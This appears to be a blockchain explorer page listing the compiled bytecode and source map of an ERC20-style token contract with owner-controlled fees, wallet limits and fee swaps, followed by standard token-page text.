0x6080604052600436106101445760003560e01c8063751039fc116100b6578063c67289131161006f578063c67289131461038c578063c816841b146103ad578063ca9ec199146103cd578063d8306786146103e3578063dd62ed3e14610404578063f2fde38b1461044a57600080fd5b8063751039fc146102de5780638da5cb5b146102f35780638f3fa8601461031157806395d89b4114610327578063a9059cbb1461033c578063abaf14a61461035c57600080fd5b80632a0ab2c1116101085780632a0ab2c114610200578063313ce5671461022157806342a110951461024357806370a0823114610259578063715018a61461028f578063735de9f7146102a657600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b31461019b57806318160ddd146101cb57806323b872dd146101e057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016660115481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5061018e61046a565b6040516101709190610ffb565b3480156101a757600080fd5b506101bb6101b6366004611061565b6104fc565b6040519015158152602001610170565b3480156101d757600080fd5b50600454610166565b3480156101ec57600080fd5b506101bb6101fb36600461108d565b610513565b34801561020c57600080fd5b506013546101bb90600160b01b900460ff1681565b34801561022d57600080fd5b5060035460405160ff9091168152602001610170565b34801561024f57600080fd5b50610166600b5481565b34801561026557600080fd5b506101666102743660046110ce565b6001600160a01b031660009081526005602052604090205490565b34801561029b57600080fd5b506102a461057c565b005b3480156102b257600080fd5b506012546102c6906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b3480156102ea57600080fd5b506102a46105f9565b3480156102ff57600080fd5b506000546001600160a01b03166102c6565b34801561031d57600080fd5b5061016660105481565b34801561033357600080fd5b5061018e61063a565b34801561034857600080fd5b506101bb610357366004611061565b610649565b34801561036857600080fd5b506101bb6103773660046110ce565b60076020526000908152604090205460ff1681565b34801561039857600080fd5b506013546101bb90600160a01b900460ff1681565b3480156103b957600080fd5b506013546102c6906001600160a01b031681565b3480156103d957600080fd5b50610166600c5481565b3480156103ef57600080fd5b506013546101bb90600160a81b900460ff1681565b34801561041057600080fd5b5061016661041f3660046110eb565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561045657600080fd5b506102a46104653660046110ce565b610656565b60606001805461047990611124565b80601f01602080910402602001604051908101604052809291908181526020018280546104a590611124565b80156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610509338484610745565b5060015b92915050565b6000610520848484610806565b610572843361056d856040518060600160405280602881526020016112dc602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b8b565b610745565b5060019392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a69061115e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016105a69061115e565b6000196010556064600a556001600b819055600c55565b60606002805461047990611124565b6000610509338484610806565b6000546001600160a01b031633146106805760405162461bcd60e51b81526004016105a69061115e565b6001600160a01b0381166106ea5760405162461bcd60e51b815260206004820152602b60248201527f41757468656e7469636174653a206e6577206f776e657220697320746865207a60448201526a65726f206164647265737360a81b60648201526084016105a6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076557506001600160a01b03821615155b6107a55760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a6565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061083257506008546001600160a01b03838116911614155b801561084757506001600160a01b0382163014155b801561086157506013546001600160a01b03838116911614155b801561087b57506009546001600160a01b03838116911614155b801561089557506000546001600160a01b03848116911614155b15610921576001600160a01b0382166000908152600560205260409020546010546108c083836111b9565b111561091f5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a6565b505b6001600160a01b0383161580159061094157506001600160a01b03821615155b6109855760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a6565b600081116109e35760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a6565b60095460ff600160a81b82048116600160a01b9092041610801590610a09575060115481115b8015610a1f5750601354600160a81b900460ff16155b8015610a4457506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5d57506013546001600160a01b038381169116145b8015610a725750601354600160b01b900460ff165b15610aa5576009805460ff60a01b19169055306000908152600560205260409020548015610aa357610aa381610bb7565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ae757506001600160a01b03831660009081526007602052604090205460ff165b80610b2e5750601354600160a01b900460ff168015610b1457506013546001600160a01b03858116911614155b8015610b2e57506013546001600160a01b03848116911614155b15610b3b57506000610b79565b6013546001600160a01b0390811690851603610b5c57600b54600a55610b79565b6013546001600160a01b0390811690841603610b7957600c54600a555b610b8584848484610bfc565b50505050565b60008184841115610baf5760405162461bcd60e51b81526004016105a69190610ffb565b505050900390565b6013805460ff60a81b1916600160a81b179055610bd381610c69565b6008544790610beb906001600160a01b031682610dc3565b50506013805460ff60a81b19169055565b80610c0e57610c09610dfe565b610c42565b60098054600160a01b900460ff16906014610c28836111cc565b91906101000a81548160ff021916908360ff160217905550505b610c4d848484610e43565b80610b8557610b85600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9e57610c9e6111eb565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cf7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1b9190611201565b81600181518110610d2e57610d2e6111eb565b6001600160a01b039283166020918202929092010152601254610d549130911684610745565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8d90859060009086903090429060040161121e565b600060405180830381600087803b158015610da757600080fd5b505af1158015610dbb573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df9573d6000803e3d6000fd5b505050565b600a54158015610e0e5750600b54155b8015610e1a5750600c54155b15610e2157565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4f83610f86565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e9657506010546001600160a01b03861660009081526005602052604090205411155b15610eab57506000610ea8828461128f565b92505b6001600160a01b038516600090815260056020526040902054610ece9084610fc4565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610efd9083610fd7565b6001600160a01b038516600090815260056020526040808220929092553081522054610f299082610fd7565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610fab6064610fa5600a5487610fe390919063ffffffff16565b90610fef565b90506000610fb98583610fc4565b959194509092505050565b6000610fd0828461128f565b9392505050565b6000610fd082846111b9565b6000610fd082846112a2565b6000610fd082846112b9565b600060208083528351808285015260005b818110156110285785810183015185820160400152820161100c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105e57600080fd5b50565b6000806040838503121561107457600080fd5b823561107f81611049565b946020939093013593505050565b6000806000606084860312156110a257600080fd5b83356110ad81611049565b925060208401356110bd81611049565b929592945050506040919091013590565b6000602082840312156110e057600080fd5b8135610fd081611049565b600080604083850312156110fe57600080fd5b823561110981611049565b9150602083013561111981611049565b809150509250929050565b600181811c9082168061113857607f821691505b60208210810361115857634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526025908201527f41757468656e7469636174653a2063616c6c6572206973206e6f74207468652060408201526437bbb732b960d91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050d5761050d6111a3565b600060ff821660ff81036111e2576111e26111a3565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561121357600080fd5b8151610fd081611049565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561126e5784516001600160a01b031683529383019391830191600101611249565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050d5761050d6111a3565b808202811582820484141761050d5761050d6111a3565b6000826112d657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200900883f49aa86c0dbe9d7ac2a6ea4d4f7d3df11be3022a805a7ec39be77ccf064736f6c63430008130033

Deployed Bytecode Sourcemap

8230:8345:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9393:51;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;9393:51:0;;;;;;;;10498:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;11336:161::-;;;;;;;;;;-1:-1:-1;11336:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;11336:161:0;1205:187:1;10775:100:0;;;;;;;;;;-1:-1:-1;10855:12:0;;10775:100;;15063:313;;;;;;;;;;-1:-1:-1;15063:313:0;;;;;:::i;:::-;;:::i;9635:33::-;;;;;;;;;;-1:-1:-1;9635:33:0;;;;-1:-1:-1;;;9635:33:0;;;;;;10684:83;;;;;;;;;;-1:-1:-1;10750:9:0;;10684:83;;10750:9;;;;2000:36:1;;1988:2;1973:18;10684:83:0;1858:184:1;9107:27:0;;;;;;;;;;;;;;;;10883:119;;;;;;;;;;-1:-1:-1;10883:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;10976:18:0;10949:7;10976:18;;;:9;:18;;;;;;;10883:119;6512:148;;;;;;;;;;;;;:::i;:::-;;9490:37;;;;;;;;;;-1:-1:-1;9490:37:0;;;;-1:-1:-1;;;;;9490:37:0;;;;;;-1:-1:-1;;;;;2487:32:1;;;2469:51;;2457:2;2442:18;9490:37:0;2299:227:1;15425:160:0;;;;;;;;;;;;;:::i;6190:87::-;;;;;;;;;;-1:-1:-1;6236:7:0;6263:6;-1:-1:-1;;;;;6263:6:0;6190:87;;9333:53;;;;;;;;;;;;;;;;10589:87;;;;;;;;;;;;;:::i;11010:167::-;;;;;;;;;;-1:-1:-1;11010:167:0;;;;;:::i;:::-;;:::i;8732:50::-;;;;;;;;;;-1:-1:-1;8732:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9569:34;;;;;;;;;;-1:-1:-1;9569:34:0;;;;-1:-1:-1;;;9569:34:0;;;;;;9534:26;;;;;;;;;;-1:-1:-1;9534:26:0;;;;-1:-1:-1;;;;;9534:26:0;;;9141:28;;;;;;;;;;;;;;;;9610:18;;;;;;;;;;-1:-1:-1;9610:18:0;;;;-1:-1:-1;;;9610:18:0;;;;;;11185:143;;;;;;;;;;-1:-1:-1;11185:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11293:18:0;;;11266:7;11293:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11185:143;6716:249;;;;;;;;;;-1:-1:-1;6716:249:0;;;;;:::i;:::-;;:::i;10498:83::-;10535:13;10568:5;10561:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10498:83;:::o;11336:161::-;11411:4;11428:39;587:10;11451:7;11460:6;11428:8;:39::i;:::-;-1:-1:-1;11485:4:0;11336:161;;;;;:::o;15063:313::-;15161:4;15178:36;15188:6;15196:9;15207:6;15178:9;:36::i;:::-;15225:121;15234:6;587:10;15256:89;15294:6;15256:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15256:19:0;;;;;;:11;:19;;;;;;;;587:10;15256:33;;;;;;;;;;:37;:89::i;:::-;15225:8;:121::i;:::-;-1:-1:-1;15364:4:0;15063:313;;;;;:::o;6512:148::-;6236:7;6263:6;-1:-1:-1;;;;;6263:6:0;587:10;6375:23;6367:73;;;;-1:-1:-1;;;6367:73:0;;;;;;;:::i;:::-;;;;;;;;;6619:1:::1;6603:6:::0;;6582:40:::1;::::0;-1:-1:-1;;;;;6603:6:0;;::::1;::::0;6582:40:::1;::::0;6619:1;;6582:40:::1;6650:1;6633:19:::0;;-1:-1:-1;;;;;;6633:19:0::1;::::0;;6512:148::o;15425:160::-;6236:7;6263:6;-1:-1:-1;;;;;6263:6:0;587:10;6375:23;6367:73;;;;-1:-1:-1;;;6367:73:0;;;;;;;:::i;:::-;-1:-1:-1;;15479:13:0::1;:27:::0;15529:3:::1;15517:9;:15:::0;15553:1:::1;15543:7;:11:::0;;;15565:8:::1;:12:::0;15425:160::o;10589:87::-;10628:13;10661:7;10654:14;;;;;:::i;11010:167::-;11088:4;11105:42;587:10;11129:9;11140:6;11105:9;:42::i;6716:249::-;6236:7;6263:6;-1:-1:-1;;;;;6263:6:0;587:10;6375:23;6367:73;;;;-1:-1:-1;;;6367:73:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6805:22:0;::::1;6797:78;;;::::0;-1:-1:-1;;;6797:78:0;;4125:2:1;6797:78:0::1;::::0;::::1;4107:21:1::0;4164:2;4144:18;;;4137:30;4203:34;4183:18;;;4176:62;-1:-1:-1;;;4254:18:1;;;4247:41;4305:19;;6797:78:0::1;3923:407:1::0;6797:78:0::1;6912:6;::::0;;6891:38:::1;::::0;-1:-1:-1;;;;;6891:38:0;;::::1;::::0;6912:6;::::1;::::0;6891:38:::1;::::0;::::1;6940:6;:17:::0;;-1:-1:-1;;;;;;6940:17:0::1;-1:-1:-1::0;;;;;6940:17:0;;;::::1;::::0;;;::::1;::::0;;6716:249::o;11973:266::-;-1:-1:-1;;;;;12068:19:0;;;;;;:44;;-1:-1:-1;;;;;;12091:21:0;;;;12068:44;12060:74;;;;-1:-1:-1;;;12060:74:0;;4537:2:1;12060:74:0;;;4519:21:1;4576:2;4556:18;;;4549:30;-1:-1:-1;;;4595:18:1;;;4588:47;4652:18;;12060:74:0;4335:341:1;12060:74:0;-1:-1:-1;;;;;12145:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12197:32;;160:25:1;;;12197:32:0;;133:18:1;12197:32:0;;;;;;;11973:266;;;:::o;12990:1587::-;6236:7;6263:6;-1:-1:-1;;;;;13149:13:0;;;6263:6;;13149:13;;;;:55;;-1:-1:-1;13185:19:0;;-1:-1:-1;;;;;13179:25:0;;;13185:19;;13179:25;;13149:55;:91;;;;-1:-1:-1;;;;;;13221:19:0;;13235:4;13221:19;;13149:91;:125;;;;-1:-1:-1;13263:11:0;;-1:-1:-1;;;;;13257:17:0;;;13263:11;;13257:17;;13149:125;:152;;;;-1:-1:-1;13297:4:0;;-1:-1:-1;;;;;13291:10:0;;;13297:4;;13291:10;;13149:152;:184;;;;-1:-1:-1;6236:7:0;6263:6;-1:-1:-1;;;;;13318:15:0;;;6263:6;;13318:15;;13149:184;13145:372;;;-1:-1:-1;;;;;10976:18:0;;13351:22;10976:18;;;:9;:18;;;;;;13441:13;;13413:23;13430:6;10976:18;13413:23;:::i;:::-;13412:42;;13404:94;;;;-1:-1:-1;;;13404:94:0;;5145:2:1;13404:94:0;;;5127:21:1;5184:2;5164:18;;;5157:30;5223:34;5203:18;;;5196:62;-1:-1:-1;;;5274:18:1;;;5267:38;5322:19;;13404:94:0;4943:404:1;13404:94:0;13334:183;13145:372;-1:-1:-1;;;;;13537:18:0;;;;;;:38;;-1:-1:-1;;;;;;13559:16:0;;;;13537:38;13529:72;;;;-1:-1:-1;;;13529:72:0;;5554:2:1;13529:72:0;;;5536:21:1;5593:2;5573:18;;;5566:30;-1:-1:-1;;;5612:18:1;;;5605:51;5673:18;;13529:72:0;5352:345:1;13529:72:0;13629:1;13620:6;:10;13612:60;;;;-1:-1:-1;;;13612:60:0;;5904:2:1;13612:60:0;;;5886:21:1;5943:2;5923:18;;;5916:30;5982:34;5962:18;;;5955:62;-1:-1:-1;;;6033:18:1;;;6026:35;6078:19;;13612:60:0;5702:401:1;13612:60:0;13717:16;;;-1:-1:-1;;;13717:16:0;;;;-1:-1:-1;;;13702:11:0;;;;:31;;;;:71;;;13760:13;;13751:6;:22;13702:71;:95;;;;-1:-1:-1;13791:6:0;;-1:-1:-1;;;13791:6:0;;;;13790:7;13702:95;:136;;;;-1:-1:-1;;;;;;13815:23:0;;;;;;:17;:23;;;;;;;;13814:24;13702:136;:170;;;;-1:-1:-1;13861:11:0;;-1:-1:-1;;;;;13855:17:0;;;13861:11;;13855:17;13702:170;:201;;;;-1:-1:-1;13889:14:0;;-1:-1:-1;;;13889:14:0;;;;13702:201;13685:462;;;13946:11;:15;;-1:-1:-1;;;;13946:15:0;;;14025:4;-1:-1:-1;10976:18:0;;;:9;:18;;;;;;14049:24;;14046:90;;14089:32;14100:20;14089:10;:32::i;:::-;13929:218;13685:462;-1:-1:-1;;;;;14211:23:0;;14167:12;14211:23;;;:17;:23;;;;;;14182:4;;14211:23;;;:48;;-1:-1:-1;;;;;;14238:21:0;;;;;;:17;:21;;;;;;;;14211:48;:113;;;-1:-1:-1;14264:15:0;;-1:-1:-1;;;14264:15:0;;;;:38;;;;-1:-1:-1;14291:11:0;;-1:-1:-1;;;;;14283:19:0;;;14291:11;;14283:19;;14264:38;:59;;;;-1:-1:-1;14312:11:0;;-1:-1:-1;;;;;14306:17:0;;;14312:11;;14306:17;;14264:59;14208:310;;;-1:-1:-1;14350:5:0;14208:310;;;14385:11;;-1:-1:-1;;;;;14385:11:0;;;14377:19;;;;14373:145;;14424:7;;14412:9;:19;14373:145;;;14459:11;;-1:-1:-1;;;;;14459:11:0;;;14453:17;;;;14449:69;;14498:8;;14486:9;:20;14449:69;14530:39;14546:4;14551:2;14554:6;14561:7;14530:15;:39::i;:::-;13093:1484;12990:1587;;;:::o;1202:206::-;1288:7;1349:12;1341:6;;;;1333:29;;;;-1:-1:-1;;;1333:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1384:5:0;;;1202:206::o;11509:239::-;9914:6;:13;;-1:-1:-1;;;;9914:13:0;-1:-1:-1;;;9914:13:0;;;11597:38:::1;11614:20:::0;11597:16:::1;:38::i;:::-;11708:19;::::0;11668:21:::1;::::0;11700:40:::1;::::0;-1:-1:-1;;;;;11708:19:0::1;11668:21:::0;11700:7:::1;:40::i;:::-;-1:-1:-1::0;;9950:6:0;:14;;-1:-1:-1;;;;9950:14:0;;;11509:239::o;15647:357::-;15773:7;15769:111;;15796:14;:12;:14::i;:::-;15769:111;;;15851:11;:13;;-1:-1:-1;;;15851:13:0;;;;;:11;:13;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;15769:111;15890:44;15908:6;15916:9;15927:6;15890:17;:44::i;:::-;15959:7;15955:41;;15981:15;11822:17;;11810:9;:29;11860:15;;11850:7;:25;11898:16;;11887:8;:27;11756:169;14589:466;14679:16;;;14693:1;14679:16;;;;;;;;14655:21;;14679:16;;;;;;;;;;-1:-1:-1;14679:16:0;14655:40;;14724:4;14706;14711:1;14706:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14706:23:0;;;:7;;;;;;;;;;:23;;;;14750:13;;:20;;;-1:-1:-1;;;14750:20:0;;;;:13;;;;;:18;;:20;;;;;14706:7;;14750:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14740:4;14745:1;14740:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14740:30:0;;;:7;;;;;;;;;:30;14813:13;;14781:60;;14798:4;;14813:13;14829:11;14781:8;:60::i;:::-;14852:13;;:195;;-1:-1:-1;;;14852:195:0;;-1:-1:-1;;;;;14852:13:0;;;;:64;;:195;;14931:11;;14852:13;;14974:4;;15001;;15021:15;;14852:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14644:411;14589:466;:::o;12247:111::-;12325:25;;-1:-1:-1;;;;;12325:17:0;;;:25;;;;;12343:6;;12325:25;;;;12343:6;12325:17;:25;;;;;;;;;;;;;;;;;;;;;12247:111;;:::o;16274:298::-;16320:9;;:14;:30;;;;-1:-1:-1;16338:7:0;;:12;16320:30;:47;;;;-1:-1:-1;16354:8:0;;:13;16320:47;16317:59;;;16274:298::o;16317:59::-;16406:7;;;16388:15;:25;16444:8;;;16425:16;:27;16484:9;;;16464:17;:29;-1:-1:-1;16504:11:0;;;;16526:12;;;;16549:13;16274:298::o;12366:616::-;12479:23;12504:12;12520:24;12532:11;12520;:24::i;:::-;-1:-1:-1;;;;;12558:25:0;;;;;;:17;:25;;;;;;12478:66;;-1:-1:-1;12478:66:0;-1:-1:-1;12558:25:0;;:63;;;;-1:-1:-1;12608:13:0;;-1:-1:-1;;;;;12587:17:0;;;;;;:9;:17;;;;;;:34;;12558:63;12555:148;;;-1:-1:-1;12645:1:0;12661:30;12676:15;12661:30;;:::i;:::-;;;12555:148;-1:-1:-1;;;;;12733:17:0;;;;;;:9;:17;;;;;;:34;;12755:11;12733:21;:34::i;:::-;-1:-1:-1;;;;;12713:17:0;;;;;;;:9;:17;;;;;;:54;;;;12801:20;;;;;;;:41;;12826:15;12801:24;:41::i;:::-;-1:-1:-1;;;;;12778:20:0;;;;;;:9;:20;;;;;;:64;;;;12898:4;12880:24;;;;:34;;12909:4;12880:28;:34::i;:::-;12871:4;12853:24;;;;:9;:24;;;;;;;;;:61;;;;12930:44;160:25:1;;;-1:-1:-1;;;;;12930:44:0;;;;;;;;;;133:18:1;12930:44:0;;;;;;;12457:525;;12366:616;;;:::o;16016:250::-;16080:7;16089;16109:12;16124:35;16155:3;16124:26;16140:9;;16124:11;:15;;:26;;;;:::i;:::-;:30;;:35::i;:::-;16109:50;-1:-1:-1;16170:23:0;16196:21;:11;16109:50;16196:15;:21::i;:::-;16170:47;16253:4;;-1:-1:-1;16016:250:0;;-1:-1:-1;;;16016:250:0:o;880:98::-;938:7;965:5;969:1;965;:5;:::i;:::-;958:12;880:98;-1:-1:-1;;;880:98:0:o;774:::-;832:7;859:5;863:1;859;:5;:::i;986:98::-;1044:7;1071:5;1075:1;1071;:5;:::i;1096:98::-;1154:7;1181:5;1185:1;1181;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2739:388::-;2807:6;2815;2868:2;2856:9;2847:7;2843:23;2839:32;2836:52;;;2884:1;2881;2874:12;2836:52;2923:9;2910:23;2942:31;2967:5;2942:31;:::i;:::-;2992:5;-1:-1:-1;3049:2:1;3034:18;;3021:32;3062:33;3021:32;3062:33;:::i;:::-;3114:7;3104:17;;;2739:388;;;;;:::o;3132:380::-;3211:1;3207:12;;;;3254;;;3275:61;;3329:4;3321:6;3317:17;3307:27;;3275:61;3382:2;3374:6;3371:14;3351:18;3348:38;3345:161;;3428:10;3423:3;3419:20;3416:1;3409:31;3463:4;3460:1;3453:15;3491:4;3488:1;3481:15;3345:161;;3132:380;;;:::o;3517:401::-;3719:2;3701:21;;;3758:2;3738:18;;;3731:30;3797:34;3792:2;3777:18;;3770:62;-1:-1:-1;;;3863:2:1;3848:18;;3841:35;3908:3;3893:19;;3517:401::o;4681:127::-;4742:10;4737:3;4733:20;4730:1;4723:31;4773:4;4770:1;4763:15;4797:4;4794:1;4787:15;4813:125;4878:9;;;4899:10;;;4896:36;;;4912:18;;:::i;6108:175::-;6145:3;6189:4;6182:5;6178:16;6218:4;6209:7;6206:17;6203:43;;6226:18;;:::i;:::-;6275:1;6262:15;;6108:175;-1:-1:-1;;6108:175:1:o;6420:127::-;6481:10;6476:3;6472:20;6469:1;6462:31;6512:4;6509:1;6502:15;6536:4;6533:1;6526:15;6552:251;6622:6;6675:2;6663:9;6654:7;6650:23;6646:32;6643:52;;;6691:1;6688;6681:12;6643:52;6723:9;6717:16;6742:31;6767:5;6742:31;:::i;6808:980::-;7070:4;7118:3;7107:9;7103:19;7149:6;7138:9;7131:25;7175:2;7213:6;7208:2;7197:9;7193:18;7186:34;7256:3;7251:2;7240:9;7236:18;7229:31;7280:6;7315;7309:13;7346:6;7338;7331:22;7384:3;7373:9;7369:19;7362:26;;7423:2;7415:6;7411:15;7397:29;;7444:1;7454:195;7468:6;7465:1;7462:13;7454:195;;;7533:13;;-1:-1:-1;;;;;7529:39:1;7517:52;;7624:15;;;;7589:12;;;;7565:1;7483:9;7454:195;;;-1:-1:-1;;;;;;;7705:32:1;;;;7700:2;7685:18;;7678:60;-1:-1:-1;;;7769:3:1;7754:19;7747:35;7666:3;6808:980;-1:-1:-1;;;6808:980:1:o;7793:128::-;7860:9;;;7881:11;;;7878:37;;;7895:18;;:::i;7926:168::-;7999:9;;;8030;;8047:15;;;8041:22;;8027:37;8017:71;;8068:18;;:::i;8099:217::-;8139:1;8165;8155:132;;8209:10;8204:3;8200:20;8197:1;8190:31;8244:4;8241:1;8234:15;8272:4;8269:1;8262:15;8155:132;-1:-1:-1;8301:9:1;;8099:217::o

Swarm Source

ipfs://0900883f49aa86c0dbe9d7ac2a6ea4d4f7d3df11be3022a805a7ec39be77ccf0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.